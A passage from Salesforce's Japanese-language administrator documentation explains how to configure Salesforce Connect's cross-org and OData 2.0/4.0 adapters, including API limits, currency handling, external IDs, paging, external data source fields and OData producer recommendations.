6. [検証して同期] をクリックし、接続が正常であることを確認します。

エラーメッセージが表示される場合は、次のドキュメントを参照してください。
• 『Force.com REST API 開発者ガイド』の「状況コードとエラー応答」
• 『SOAP API 開発者ガイド』の「API コールで使用されるコアデータ型」にある「API 障害要素」セクショ

ン、「ExceptionCode」セクション、「Error」セクション、および「StatusCode」セクション

7. 必要に応じて、テーブルを選択し [[同期]] をクリックして、選択したテーブルごとに次の操作を実行しま
す。
• Salesforce 外部オブジェクトを自動的に作成する。
• Salesforce メタデータのデータ型と互換性のあるテーブル項目ごとに、カスタム項目を自動的に作成す

る。

メモ: 同期する前に、次のトピックで説明されている考慮事項について理解していることを確認して
ください。
• Salesforce Connect — すべてのアダプタの同期に関する考慮事項 (ページ 6364)

• Salesforce Connect — 組織間アダプタの同期に関する考慮事項 (ページ 6366)

代わりに、外部オブジェクトとカスタム項目を手動で作成し、外部データに対応付けしてもかまいません。
これにより、外部オブジェクト名のカスタマイズ、カスタム項目を作成するテーブル列の判断、カスタム
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項目名のカスタマイズを行うことができます。ただし、この方法はより時間がかかり、手動のメンテナン
スが必要になります。

関連トピック:

組織間アダプタで別の組織のデータにアクセスするための Salesforce Connect の設定
外部システムの認証設定の保存
Salesforce Connect — 組織間アダプタの外部オブジェクトおよびカスタム項目の API 名
Salesforce Connect — 組織間アダプタの登録者組織とプロバイダ組織
開発者ガイド: Force.com REST API 開発者ガイド

Salesforce Connect — 組織間アダプタに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect の組織間アダプタを使用する場合の特殊な動作、制限、および
推奨事項について理解します。
すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

Salesforce Connect — 組織間アダプタの API 使用に関する考慮事項
組織間アダプタを備えた Salesforce Connect は、Force.com REST API コールを使用
して他のSalesforce組織のレコードにアクセスします。外部オブジェクトへの
アクセス方法に応じて、プロバイダ組織のみ、またはプロバイダ組織と登録
者組織の両方の API 使用制限に対して各コールがカウントされます。
Salesforce Connect — 組織間アダプタの通貨に関する考慮事項
外部オブジェクトの通貨項目には特殊な動作と制限が適用されます。

関連トピック:

Salesforce Connect — すべてのアダプタの考慮事項

Salesforce Connect — 組織間アダプタの API 使用に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

組織間アダプタを備えた Salesforce Connectは、Force.com REST APIコールを使用して
他の Salesforce 組織のレコードにアクセスします。外部オブジェクトへのアクセ
ス方法に応じて、プロバイダ組織のみ、またはプロバイダ組織と登録者組織の
両方の API 使用制限に対して各コールがカウントされます。
ユーザが次のいずれかの方法で外部オブジェクトにアクセスする場合、プロバ
イダ組織の API 使用制限に対して Force.com REST API コールがカウントされます。
• 外部オブジェクトレコードのリストビューを開く。
• 外部オブジェクトのレコードの詳細ページを表示する。
• 外部オブジェクト関連リストが含まれる親オブジェクトレコードを表示す

る。
• 外部参照項目を含む子オブジェクトレコードを表示する。
• 外部オブジェクトも検索される検索を実行する。
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• フロー、Visualforce ページ、Apex クラス、または Apex トリガから外部オブジェクトにアクセスする。
• 外部オブジェクトレコードの作成、編集、削除を行う。
• レポートを実行する。
• レポートを編集したことにより、プレビューがレポートビルダーに読み込まれる。
ユーザまたはシステムが SOAP API、Bulk API、または Force.com REST APIを使用して外部オブジェクトにアクセスす
る場合、登録者組織とプロバイダ組織の両方の API 使用制限に対してそのアクセスがカウントされます。

関連トピック:

Salesforce の制限クイックリファレンスガイド: API 要求の制限
Salesforce Connect — 組織間アダプタに関する考慮事項
Salesforce Connect — 組織間アダプタの登録者組織とプロバイダ組織

Salesforce Connect — 組織間アダプタの通貨に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部オブジェクトの通貨項目には特殊な動作と制限が適用されます。
• 登録者組織で複数の通貨を有効にして、プロバイダ組織で使用する通貨がす

べて登録者組織にあることを確認します。後に通貨がプロバイダ組織に追加
された場合は、その通貨を登録者組織に追加します。
登録者組織で複数の通貨を有効にできない場合は、すべてのプロバイダ組織
が単一通貨であり、登録者組織と同じ通貨を使用していることを確認しま
す。

• ユーザが外部オブジェクトレコードを編集しているときに通貨を変更できる
ようにするには、[通貨] 項目をページレイアウトに追加します。

• ユーザが外部オブジェクトレコードで通貨を変更しようとする場合、通貨オ
プションのリストは、プロバイダ組織で有効な通貨に制限されません。プロ
バイダ組織で無効であるか使用できない通貨をユーザが選択すると、エラー
が表示されてレコードを保存できなくなります。

• convertCurrency() 関数は、外部オブジェクトの SOQL クエリで無視されます。

関連トピック:

マルチ通貨の有効化による影響
Salesforce Connect — 組織間アダプタに関する考慮事項
Salesforce Connect — 組織間アダプタの登録者組織とプロバイダ組織

Salesforce Connect の OData 2.0 または 4.0 アダプタを使用した外部データへの
アクセス
Open Data Protocol を介して公開されているデータにユーザがアクセスできるようにします。
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Salesforce Connect の OData 2.0 または 4.0 アダプタ
ビジネスの全体像を把握するためにバックオフィスに接続します。Salesforce Connectの OData 2.0 または 4.0 ア
ダプタでは、Open Data Protocol バージョン 2.0 または 4.0 を使用して Salesforce の外部に保存されたデータにア
クセスします。
外部データにアクセスするための Salesforce Connect の設定 (OData 2.0 または 4.0 アダプタを使用)

ユーザは、統合業務ソフト (ERP) システムのデータなど、Salesforce 組織外に保存されているデータを表示お
よび検索できます。
Salesforce Connect — OData 2.0 および 4.0 アダプタに関する考慮事項
Salesforce Connectの OData 2.0 または 4.0 アダプタを使用する場合の特殊な動作、制限、および推奨事項につい
て理解します。
Salesforce Connect — OData 2.0 および 4.0 アダプタの OData の参照
Salesforce Connect を使用する外部システムにアクセスするための Open Data Protocol (OData) の Salesforce 実装に
ついて把握します。

Salesforce Connect の OData 2.0 または 4.0 アダプタ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ビジネスの全体像を把握するためにバックオフィスに接続します。Salesforce

Connect の OData 2.0 または 4.0 アダプタでは、Open Data Protocol バージョン 2.0 また
は 4.0 を使用して Salesforce の外部に保存されたデータにアクセスします。
ユーザおよびForce.comプラットフォームは、外部オブジェクトを介して外部デー
タを操作します。Salesforce Connectは、その各操作を関連パラメータを含む OData

クエリに変換し、結果を絞り込みます。Salesforceは、次の場合に毎回 OData コー
ルアウトを実行します。
• リストビューの外部オブジェクトタブをユーザがクリックした。
• 外部オブジェクトのレコード詳細ページをユーザが表示した。
• 子外部オブジェクトレコードの関連リストを表示する親オブジェクトのレ

コード詳細ページをユーザが表示した。
• ユーザが Salesforce グローバル検索を実行した。
• ユーザが外部オブジェクトレコードを作成、編集、または削除した
• ユーザがレポートを実行した。
• レポートビルダーでプレビューが読み込まれた。
• フロー、API、Apex、SOQL、または SOSL 経由で外部オブジェクトをクエリした。
• 外部データソースの検証または同期を行った。
Salesforce Connect の OData 2.0 アダプタは、OData プロデューサというサービスを介して公開された外部データに
アクセスできます。OData プロデューサについての詳細は、www.odata.orgを参照してください。

外部 ID および OData エンティティキー
Salesforce Connectの OData 2.0 または 4.0 アダプタで外部データにアクセスする場合、外部オブジェクトの外部
ID標準項目の値が、OData サービスメタデータドキュメントに定義されたエンティティキーに従って生成さ
れます。
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Salesforce Connect — OData 2.0 および 4.0 アダプタのクライアント駆動ページングとサーバ駆動ページング
外部データの Salesforce Connectクエリで、大量の結果セットがバッチやページに分割されて示されることは
よくあります。ページングの動作を外部システム (サーバ駆動) で制御するか、Salesforce Connect の OData 2.0

または 4.0 アダプタ (クライアント駆動) で制御するかを決定します。

関連トピック:

Salesforce Connect

外部データにアクセスするための Salesforce Connect の設定 (OData 2.0 または 4.0 アダプタを使用)

Salesforce Connect — OData 2.0 および 4.0 アダプタに関する考慮事項
Salesforce Connect — OData 2.0 および 4.0 アダプタの OData の参照

外部 ID および OData エンティティキー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect の OData 2.0 または 4.0 アダプタで外部データにアクセスする場
合、外部オブジェクトの外部 ID 標準項目の値が、OData サービスメタデータド
キュメントに定義されたエンティティキーに従って生成されます。
各外部オブジェクトには [外部 ID] 標準項目があります。その値により、組織
内の各外部オブジェクトレコードが一意に識別されます。外部オブジェクトが
外部参照関係で親の場合、外部 ID標準項目が子レコードの識別に使用されます。

重要: 外部 ID 標準項目の値は、Salesforce に保存される場合があるため、機
密データを使用しないでください。
• 子レコードの外部参照関係項目に、親レコードの外部 ID値が保存および

表示されます。
• Salesforceでは、内部使用のみを目的として、外部システムから取得され

た各行の外部 ID値を保存します。この動作は、大量データの外部データ
ソースに関連付けられた外部オブジェクトには適用されません。

次の Order_Detail 外部オブジェクトのリストビューには、外部 ID の値が表示されています。

各外部 ID の値は、リモートデータサービス (OData プロデューサ) の OData サービスメタデータドキュメントに
定義されたエンティティキーに従って生成されます。エンティティキーは、エンティティ種別のプロパティの
サブセットで形成されます。
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次の OData サービスメタデータドキュメントからの抜粋は、Order_Detail 外部オブジェクトの外部 IDの値が OrderID

および ProductID プロパティから生成されることを示しています。
<EntityType Name="Order_Detail">
<Key>
<PropertyRef Name="OrderID"/>
<PropertyRef Name="ProductID"/>

</Key>
<Property Name="OrderID" Type="Edm.Int32" Nullable="false"/>
<Property Name="ProductID" Type="Edm.Int32" Nullable="false"/>
<Property Name="UnitPrice" Type="Edm.Decimal" Nullable="false" Precision="19" Scale="4"/>

<Property Name="Quantity" Type="Edm.Int16" Nullable="false"/>
<Property Name="Discount" Type="Edm.Single" Nullable="false"/>

...

次のレコード詳細ページには、[OrderID] および [ProductID] 項目が表示されています。これらの値を組み合わせ
て外部 ID 標準項目の値が作成されます。

書き込み可能な外部オブジェクトを有効にする場合、外部システムでエンティティキーの値を指定するための
書き込み操作が必要かどうかを判別します。たとえば、多くの外部システムは、新しい外部オブジェクトレ
コードがSalesforceで作成されるとエンティティキーの値を生成します。外部システムでエンティティキーの値
を指定するための書き込み操作が必要な場合、[外部 ID]標準項目値とエンティティキー値が互いに矛盾しな
いようにします。書き込み操作ごとに、外部 ID 標準項目値か、エンティティキーを構成するカスタム項目値
のいずれかを含めます。決して両方を含めないでください。

関連トピック:

Salesforce Connect の OData 2.0 または 4.0 アダプタ
Salesforce Connect — すべてのアダプタの書き込み可能な外部オブジェクトに関する考慮事項
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Salesforce Connect — OData 2.0 および 4.0 アダプタのクライアント駆動ページングとサーバ駆動ペー
ジング

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部データの Salesforce Connect クエリで、大量の結果セットがバッチやページに
分割されて示されることはよくあります。ページングの動作を外部システム
(サーバ駆動) で制御するか、Salesforce Connectの OData 2.0 または 4.0 アダプタ (クラ
イアント駆動) で制御するかを決定します。
デフォルトでは、Salesforce Connectの OData 2.0 および 4.0 アダプタは、クライアン
ト駆動のページングを使用します。具体的には、OData 要求は $topおよび $skip

システムクエリオプションを使用して結果セットをページ処理します。
サーバ駆動ページングでは、外部システムによってページサイズやバッチの区
切りが決まります。外部システムのページング設定により、外部システムのパ
フォーマンスを最適化して、組織の外部オブジェクトの読み込み時間を短縮で
きます。また、ユーザや Force.com プラットフォームが結果セットのページを移
動している間も外部データセットを変更できます。通常、サーバ駆動ページン
グはバッチの区切りを調節して、データセットの変更にクライアント駆動ペー
ジングよりも効率的に対応します。
外部データソースの [サーバ駆動のページ設定] 項目は、クライアント駆動とサーバ駆動のどちらのページン
グを使用するかを指定します。外部データソースのサーバ駆動ページングを有効にすると、要求されたページ
サイズ (デフォルトの queryMore() バッチサイズの 500 行を含む) が Salesforce で無視されます。バッチは、外
部システムによって返されるページで決まります。ただし、その場合でもSalesforce Connectの OData アダプタの
制限は適用されます。

関連トピック:

Salesforce Connect — OData 2.0 または 4.0 アダプタの外部データソースの定義
Salesforce Connect — OData 2.0 および 4.0 アダプタの一般的な制限
OData クエリ文字列オプション

外部データにアクセスするための Salesforce Connect の設定 (OData 2.0 または 4.0 アダプタ
を使用)

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

「アプリケーションのカスタマイズ」外部データソースを作成および編集する

「アプリケーションのカスタマイズ」外部オブジェクトを作成、編集する

「アプリケーションのカスタマイズ」オブジェクトレベルのヘルプを定義また
は変更する

「アプリケーションのカスタマイズ」カスタム項目を作成、編集する

「プロファイルと権限セットの管理」権限セットとユーザプロファイルを編集
する
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「ユーザの管理」外部システムの別のユーザの認証設定を編集する

ユーザは、統合業務ソフト (ERP) システムのデータなど、Salesforce 組織外に保存されているデータを表示およ
び検索できます。
OData 2.0 または 4.0 アダプタを使用した Salesforce Connect の設定手順の概要は、次のとおりです。
1. Salesforce Connect: OData 2.0 型または Salesforce Connect: OData 4.0 型の外部データソー

スを定義します。
外部システムで複数のサービスをホストしている場合は、サービスエンドポイントごとに外部データソー
スを作成します。各サービスエンドポイントは、OData サービスルート URL を参照し、エンティティのコレ
クションを公開できます。たとえば、サービスエンドポイントごとに別個の外部データソースを作成しま
す。
• http://services.example.org/Warehouse.svc

• https://services.example.org/Payroll.svc

2. 外部オブジェクトを作成します。
この作業は、同期によって自動的に外部オブジェクトを作成する場合以外に実行します。Salesforce 組織か
らアクセスする外部データテーブルごとに外部オブジェクトを作成します。

3. 外部オブジェクトのヘルプコンテンツを作成します。
外部データを説明する Visualforce ページを作成します。ユーザが外部オブジェクトの [このページのヘルプ]

をクリックすると、カスタムヘルプコンテンツが表示されます。Salesforce ヘルプには、外部データに関す
る情報は記載されていません。

4. カスタム項目とリレーションを外部オブジェクトに追加します。
オブジェクト間のリレーションを作成します。同期によって自動的に外部オブジェクトとその項目を作成
した場合を除き、Salesforce 組織からアクセスする外部テーブル列ごとにカスタム項目を作成します。

5. 外部オブジェクトへのユーザアクセスを有効化します。
権限セットまたはプロファイルを使用して、オブジェクト権限を付与します。

6. 外部オブジェクトの項目へのユーザアクセス権を有効化します。
権限セットまたはプロファイルを使用して、項目権限を付与します。

7. 外部データソースでユーザごとの認証を使用している場合は、次の手順を実行します。
a. ユーザが外部システムに対して認証を行います。

権限セットまたはプロファイルを使用して、ユーザに外部データソースの認証設定へのアクセス権を付
与します。

b. 各ユーザの認証設定を行います。
この作業は、システム管理者またはユーザが実行できます。

ヒント: ユーザに、外部システムの認証を設定する方法のトレーニングを実施します。ユーザが、
外部システムごとにどのログイン情報を入力すればよいか把握したことを確認します。OAuth 2.0 を
使用している場合、OAuth フローに紛らわしいプロンプトやリダイレクトがないかテストし、必要

6408

Salesforce Connect を使用した外部データへのアクセスコードではなくてクリックによる Salesforce の拡張



に応じてユーザにトレーニングを実施します。OAuth フローは、外部システム、認証プロバイダ、
指定された範囲によって異なります。

関連トピック:

Salesforce Connect の OData 2.0 または 4.0 アダプタ
Salesforce Connect — すべてのアダプタの考慮事項
開発者ガイド: Visualforce 開発者ガイド
外部オブジェクトリレーション

Salesforce Connect — OData 2.0 または 4.0 アダプタの外部データソースの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

外部データソースを作成
および編集する
• 「アプリケーションの

カスタマイズ」

SAP® NetWeaver Gateway、Microsoft Dynamics® NAV、IBM WebSphere® などの外部システ
ムに保存されているデータに、Salesforce 組織を接続します。

メモ:

• 外部データは、Open Data Protocol (OData) バージョン 2.0 または 4.0 を使用
するサービスによって公開されている必要があります。このようなサー
ビスを OData プロデューサと呼びます。

• OData プロデューサに到達するための URL には、インターネット経由で
Salesforceアプリケーションサーバからアクセスできる必要があります。
企業ネットワークファイアウォール上のSalesforceサーバの IP アドレスを
ホワイトリスト登録するか、リバースプロキシ XML ゲートウェイを設定
して、アクセスを許可することもできます。

• データ表示をカスタマイズできる範囲は、外部システムによって異なり
ます。Salesforceとのインテグレーションの最適な設定を判断するには、
外部システムのドキュメントを参照してください。

1. [設定] から、[クイック検索] ボックスに「外部データソース」と入力し、[外
部データソース] を選択します。

2. [新規External Data Source] をクリックするか、[編集] をクリックして既存の外
部データソースを変更します。

3. 項目を入力します。

説明項目

ユーザにわかりやすい外部データソースの名前。表示ラベルは、リストビュー
などの Salesforce ユーザインターフェースに表示されます。
[ID 種別]を [ユーザ]に設定すると、ユーザが外部システムの認証設定を表示
または編集するときに、この表示ラベルが表示されます。

表示ラベル
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説明項目

API からこの外部データソース定義を参照する場合に使用される一意の ID。
名前には、アンダースコアと英数字のみを使用できます。一意であること、最
初は文字であること、空白は使用しない、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制約があります。

名前

[Salesforce Connect: OData 2.0] または [Salesforce Connect: OData 4.0] を選択しま
す。

種類

OData サービスのルート URL。必ずすべての特殊文字をエスケープしてくださ
い。
各サービスエンドポイントには、独自の外部データソース定義が必要ですが、
1 つのサービスルート URL の下に複数のエンティティを持つことができます。

URL

サービスルート URL と他の URL の規則についての詳細は、www.odata.orgを
参照してください。
例:

• http://services.example.org/Warehouse.svc

• https://services.example.org/Payroll.svc

指定ログイン情報でエンドポイントが定義されている場合は、指定されたログ
イン情報 URL を入力します。指定ログイン情報 URL にはスキーム「callout:」、
指定ログイン情報の名前、必要に応じて追加されたパスが含まれます。例:

callout:My_Named_Credential/some_path。
クエリ文字列を指定ログイン情報 URL に追加できます。指定ログイン情報 URL

とクエリ文字列の間の区切り文字として疑問符 (?) を使用します。たとえば、
callout:My_Named_Credential/some_path?format=json です。
指定ログイン情報 URL を入力した場合、外部データソースの [認証]セクション
はスキップします。Salesforce Connectは、外部システムへのアクセスに指定ログ
イン情報で定義された認証設定を使用します。

タイムアウトになる前に外部システムからの応答を待機する秒数。デフォルト
では、最大値の 120 秒に設定されます。
外部システムの可用性および外部システムへの接続によっては、外部データの
取得に時間がかかることがあります。この項目を使用して、外部データが組織
に読み込まれるまで待機する時間を制限します。

接続タイムアウト

この組織の Force.com プラットフォームとユーザが、外部データソースに関連
付けられている外部オブジェクトのレコードの作成、更新、削除ができるよう

書き込み可能外部オブジェ
クト

にします。外部オブジェクトデータは組織外に保存されます。デフォルトで
は、外部オブジェクトは参照のみです。

Salesforceでは、外部システムからのデータの取得および表示にレート制限が適
用されます。組織で外部オブジェクトにアクセスするときにレート制限に達す

高データボリューム

る場合は、関連付けられた外部データソースで [高データボリューム]オプショ
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説明項目

ンを選択することを検討してください。このオプションを選択すると、ほとん
どのレート制限が迂回されますが、一部の特殊動作と制限は適用されます。
「Salesforce Connect — OData 2.0 および 4.0 アダプタに関する高データボリューム
の考慮事項」 (ページ 6417)を参照してください。
Enterprise Edition、Performance Edition、および Unlimited Edition では、大量データの
外部データソースが引き続き 1 時間あたり 10,000 個の OData クエリに制限され
ます。要求に応じて制限を緩和できます。「Salesforce Connect — OData 2.0 および
4.0 アダプタの OData コールアウトのレート制限に関する考慮事項」 (ページ6416)

を参照してください。

外部データの Salesforce Connect クエリで、大量の結果セットがバッチやページ
に分割されて示されることはよくあります。外部システムでページ動作を制御

サーバ駆動のページ設定

するにはこのオプションを選択します。「Salesforce Connect — OData 2.0 および
4.0 アダプタのクライアント駆動ページングとサーバ駆動ページング」 (ページ
6407)を参照してください。

OData クエリに $inlinecount=allpagesシステムクエリオプションを含めま
す。選択すると、応答に結果セットの合計行数が含まれます。
一部の外部システムは、$inlinecount=allpages システムクエリオプショ
ンをサポートしていません。データにアクセスしようとしてエラーが返された

要求の行数

り、読み込みに時間がかかったりした場合は、外部データソースの[要求の行
数]を選択解除します。ただし、選択解除すると、外部データソースおよび関
連付けらている外部オブジェクトが、合計行数を必要とする SOQL COUNT()集
計関数をサポートしません。

選択した場合、圧縮された HTTP 要求が Salesforce から外部システムに送信され
ます。gzip 圧縮データを受信するように外部システムが設定されていることを
確認してください。Salesforceでは、gzip 圧縮応答が自動的に受け入れられます。

圧縮要求

SOSL とSalesforceのグローバル検索で、この外部データソースに関連付けられた
外部オブジェクトもクエリされるかどうかを決定します。
これを選択すると、各外部オブジェクトで [検索を許可] を選択または選択解
除して、どの外部オブジェクトを検索可能にするかを制御できます。

検索の有効化

検索できるのは、外部オブジェクトのテキスト、テキストエリア、およびロン
グテキストエリア項目のみです。外部オブジェクトに検索可能項目がない場
合、そのオブジェクトに対する検索ではレコードは返されません。
このオプションを選択すると、外部データソースの関連付けられている外部オ
ブジェクトを iOS 用の Salesforce1 ダウンロード可能アプリケーションおよび
Salesforce1 モバイルブラウザアプリケーションに表示できます (iOS デバイスで
使用する場合)。
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説明項目

Salesforce Connect の OData 2.0 アダプタでのみ使用できます。OData プロデューサ
が実装され、フリーテキスト検索のカスタムクエリオプションが公開されてい
る場合は、そのクエリ文字列のパラメータ名を入力します。
OData カスタムクエリオプションとその他の URI 規則についての詳細は、
www.odata.orgを参照してください。

Salesforce 検索のカス
タムクエリオプション

[検索の有効化] がオフであるか、カスタムクエリオプションを正しく処理す
るように OData プロデューサが設定されていない場合、この項目による影響は
ありません。
「Salesforce Connect — OData 2.0 アダプタの検索に関する考慮事項」を参照してく
ださい。

Salesforce Connectの OData 4.0 アダプタでのみ使用できます。このオプションは、
外部システムに送信される検索要求で $filter の代わりに $search システ

自由テキスト検索式を使用

ムクエリオプションを使用する場合に選択します。OData プロデューサが
$search システムクエリオプションをサポートするように設定されているこ
とを確認してください。
この項目は、[検索の有効化] が選択されていない場合は無効です。
「Salesforce Connect — OData 4.0 アダプタの検索に関する考慮事項」を参照してく
ださい。

データのコレクションなどのリソースを表現するために OData プロデューサで
使用される形式。
OData プロデューサが選択した形式をサポートするように設定されていること
を確認してください。表現の形式と操作についての詳細は、www.odata.org

を参照してください。

形式

Socrata は、URL が Socrata オープンデータエンドポイントを指定している場合に
のみ選択します。「Salesforce Connect — OData 2.0 および 4.0 アダプタに関する
Socrata™ の考慮事項」 (ページ 6418)を参照してください。

特殊な互換性

外部システムがデータの作成、編集、または削除要求でクロスサイトリクエス
トフォージェリ (CSRF) 保護を必要とする場合、このオプションを選択します。

CSRF 保護

有効にする場合は、組織が外部システムから対 CSRF トークンおよび Cookie を取
得して、作成、編集、または削除の各要求に含めます。「Salesforce Connect —

OData 2.0 および 4.0 アダプタに関する CSRF の考慮事項」 (ページ 6419)を参照して
ください。
[書き込み可能外部オブジェクト] が選択されている場合のみ使用できます。

対 CSRF トークンが含まれる HTTP ヘッダー項目。この項目名は外部システムに
よって決定されます。デフォルト: X-CSRF-Token

[CSRF 保護] が選択されている場合のみ使用できます。

対 CSRF トークン名
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説明項目

証明書を指定する場合、Salesforce 組織が、各外部システムとの双方向 SSL 接続
確立時に証明書を提供します。この証明書は、要求がユーザのSalesforce組織か
らのものであることを確認するデジタル署名に使用されます。

証明書

外部システムへのアクセスに 1 セットのログイン情報と複数セットのログイン
情報のどちらを使用するかを決定します。「外部データソースの ID 種別」 (ペー
ジ 6359)を参照してください。
[匿名] は、外部システムに認証が必要ない場合にのみ選択します。

ID 種別

4. 認証プロトコルを選択します。
• [パスワード認証]を選択した場合は、外部システムにアクセスするためのユーザ名とパスワードを入力

します。
• [OAuth 2.0] を選択した場合は、次の項目を入力します。

説明項目

プロバイダを選択します。「外部認証プロバイダ」 (ページ1088)を参照して
ください。

認証プロバイダ

アクセストークンを要求するための権限の範囲を指定します。認証プロバイ
ダによって有効な値が決まります。「Scope パラメータの使用」 (ページ1123)

を参照してください。

範囲

メモ:

– 入力した値で、指定された認証プロバイダに定義された [デフォル
トの範囲] 値が置き換えられます。

– 範囲が定義されているかどうかは、各 OAuth フローがユーザに同意
画面を表示するかどうかに影響する場合があります。

– 更新トークンまたはオフラインアクセスを要求することをお勧めし
ます。要求を行わない場合、トークンの期限が切れたときに、外部
システムへのアクセス権が失われます。

外部システムに対して認証を行い OAuth トークンを取得するには、このチェッ
クボックスをオンにします。この認証プロセスは OAuth フローと呼ばれま
す。
[保存] をクリックすると、ログインするよう外部システムから求められま
す。ログインに成功すると、この組織から外部システムのデータにアクセス
するための OAuth トークンが外部システムから与えられます。

保存時に認証フローを開
始

新しいトークンが必要な場合 (トークンが期限切れなど)、あるいは [範囲]

または [認証プロバイダ]項目を編集した場合は、OAuth フローをやり直しま
す。
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5. [保存] をクリックします。
6. [検証して同期] をクリックし、接続が正常であることを確認します。
7. 必要に応じて、テーブルを選択し [[同期]] をクリックして、選択したテーブルごとに次の操作を実行しま

す。
• Salesforce 外部オブジェクトを自動的に作成する。
• Salesforce メタデータのデータ型と互換性のあるテーブル項目ごとに、カスタム項目を自動的に作成す

る。

メモ: 同期する前に、次のトピックで説明されている考慮事項について理解していることを確認して
ください。
• Salesforce Connect — すべてのアダプタの同期に関する考慮事項 (ページ 6364)

• Salesforce Connect — OData 2.0 または 4.0 アダプタの同期に関する考慮事項 (ページ 6368)

外部オブジェクトとカスタム項目を手動で作成し、外部データに対応付けすることができます。これによ
り、外部オブジェクト名のカスタマイズ、カスタム項目を作成するテーブル列の判断、カスタム項目名の
カスタマイズを行うことができます。ただし、この方法はより時間がかかり、手動のメンテナンスが必要
になります。

関連トピック:

外部データにアクセスするための Salesforce Connect の設定 (OData 2.0 または 4.0 アダプタを使用)

外部システムの認証設定の保存
OData クエリ文字列オプション
OData のデータ型の対応付け
指定ログイン情報

Salesforce Connect — OData 2.0 および 4.0 アダプタに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connectの OData 2.0 または 4.0 アダプタを使用する場合の特殊な動作、制
限、および推奨事項について理解します。
すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

Salesforce Connect — OData 2.0 および 4.0 アダプタに関する OData プロデューサの
考慮事項
外部データをSalesforce組織に公開するリモートデータサービスには、次の制
限と推奨事項があります。
Salesforce Connect — OData 2.0 および 4.0 アダプタの OData コールアウトのレート
制限に関する考慮事項
外部オブジェクトは、Salesforce 外に保存されているデータを参照します。外
部オブジェクトへのアクセスには、それに関連付けられた外部システムへの
コールアウトが含まれます。Salesforce では、コールアウトに次のレート制限
が適用されます。
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Salesforce Connect — OData 2.0 および 4.0 アダプタに関する高データボリュームの考慮事項
組織で外部オブジェクトにアクセスするときにレート制限に達する場合は、関連付けられた外部データソー
スで [高データボリューム] オプションを選択することを検討してください。このオプションを選択する
と、ほとんどのレート制限が迂回されますが、一部の特殊動作と制限は適用されます。
Salesforce Connect — OData 2.0 および 4.0 アダプタに関する Socrata™ の考慮事項
Socrata Open Data Protocol™は、医療データや政府とその市民の協働に広く使用されています。Salesforce Connect

は、Socrata Open Data Portal を基盤とするエンドポイントからのデータにアクセスできます。Socrata 固有の要
件に対応するには、外部データソースの [特殊な互換性] 項目を Socrata に設定します。
Salesforce Connect — OData 2.0 および 4.0 アダプタに関する CSRF の考慮事項
OData 外部データソースのクロスサイトリクエストフォージェリ (CSRF) における特殊な動作、制限、および
推奨事項について理解します。

関連トピック:

Salesforce Connect — すべてのアダプタの考慮事項

Salesforce Connect — OData 2.0 および 4.0 アダプタに関する OData プロデューサの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部データを Salesforce 組織に公開するリモートデータサービスには、次の制限
と推奨事項があります。
• services.odata.org/validationにある Open Data Protocol Service Validation

Tool を使用して、OData プロデューサを検証します。検証により、OData 仕様
に対して実装がチェックされ、潜在的な問題が識別されます。

• 低帯域幅接続のパフォーマンスを改善するには、gzip 圧縮データを受信する
ように OData プロデューサを設定します。次に、Salesforce の外部データソー
ス定義で、[圧縮要求]を選択します。gzip 圧縮データを Salesforceに送信する
ように OData プロデューサを設定することもできます。これにより gzip 圧縮
応答は自動的に受け入れられます。

• デフォルトで、Salesforceは、各 Odata 要求に $inlinecount=allpages シス
テムクエリオプションを指定して送信します。応答に結果セットの合計行数
が含まれます。
一部の外部システムは、$inlinecount=allpagesシステムクエリオプションをサポートしていません。
データにアクセスしようとしてエラーが返されたり、読み込みに時間がかかったりした場合は、外部デー
タソースの [要求の行数]を選択解除します。ただし、選択解除すると、外部データソースおよび関連付け
らている外部オブジェクトが、合計行数を必要とする SOQL COUNT() 集計関数をサポートしません。OData

URI 規則についての詳細は、www.odata.orgを参照してください。
• 過度な往復処理を回避するため、十分なページサイズを使用するように OData プロデューサを設定します。

小さいページサイズで大量のデータをクエリすると、ネットワーク遅延のため処理に時間がかかります。
外部データを表示する Salesforce ページは、読み込みに時間がかかる場合があります。
たとえば、クエリ結果に 100 件のレコードが含まれており、ページサイズが 5 件分しかないと、結果を取得
するのに往復処理を 20 回行う必要があります。ネットワーク遅延が往復処理あたり 100 ミリ秒であると、
結果を取得する所要時間は 2 秒 (20 × 100 ミリ秒) になります。
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一方、20 件のレコードを保持できるページサイズの場合は、100 件のレコードを取得するのに往復処理が 5

